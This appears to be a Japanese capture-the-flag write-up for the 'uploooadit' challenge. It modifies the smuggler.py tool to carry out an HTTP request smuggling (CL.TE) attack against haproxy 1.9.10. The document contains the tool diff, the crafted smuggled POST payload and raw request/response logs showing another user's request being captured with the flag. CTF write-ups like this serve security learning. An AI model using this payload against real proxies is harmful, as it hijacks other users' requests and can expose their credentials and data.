        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=451       time=169        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:26:56 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=CL:TE1|vanilla        C=400       L=216       time=169        T=text/html     V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 5
Transfer-Encoding: chunked

1
Z
Q

<<<
>>>HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

<<<
(snip)

そのままでは成功しなかったが、haproxy 1.9.10であることがわかった。

もう少し調べてみると以下の記事を発見。
ミドルウェア、バージョンともに出題環境と一致している。
HAProxy HTTP request smuggling - nathandavison.com

上記の記事を見ながらツールを改造する。

  • ConnectionヘッダーにCloseをセットしない。
  • 攻撃データに、自分が決めたGUIDの領域(X-guidヘッダーでセット)へ他人のHTTPリクエストの内容を記録するPOSTリクエスト電文をセット。
  • POSTリクエスト後に、/files/にGETして、他人のHTTPリクエストの内容が記録できているか確認。
  • なお、Content-Lengthの390は、実行しながら調整した結果。最初は100くらいから試した。
$ cp -p smuggler.py smuggler_mod.py
$ diff smuggler.py smuggler_mod.py
57c57
<     'Connection': 'close',
---
>     # 'Connection': 'close',
66a67,81
> guid = "14371510-af00-1211-3333-afed3109dade"
> 
> body="""1
> A
> 0
> 
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> Content-Type: text/plain
> X-guid: {}
> Content-Length: 390
> 
> hoge""".format(guid).replace("\n","\r\n")
> 
> 
68,71c83,87
<     {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
<     {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
---
> #    {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
> #    {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
>     {'name':'EXPLORE', 'Content-Length':len(body), 'body':body},
631c647,652
< 
---
>             print("-------- requests start --------")
>             r = requests.get(
>                 "https://uploooadit.oooverflow.io/files/{}".format(guid)
>             )
>             print(r.text)
>             print("-------- requests end --------")

実行する。

$ python3 smuggler_mod.py -u https://uploooadit.oooverflow.io/ -m prefix1_11 -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:22:59 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-183.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=EXPLORE|prefix1_11        C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Transfer-Encoding: 
                   chunked

1
A
0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 14371510-af00-1211-3333-afed3109dade
Content-Length: 390

hoge<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:23:00 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
-------- requests start --------
hogePOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 931ab38b-2a16-4074-a603-5295cb90ef39
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

-------- requests end --------

出題者が定期的にフラグ文字列をPOSTするリクエストを流していたようで、フラグゲット。

OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}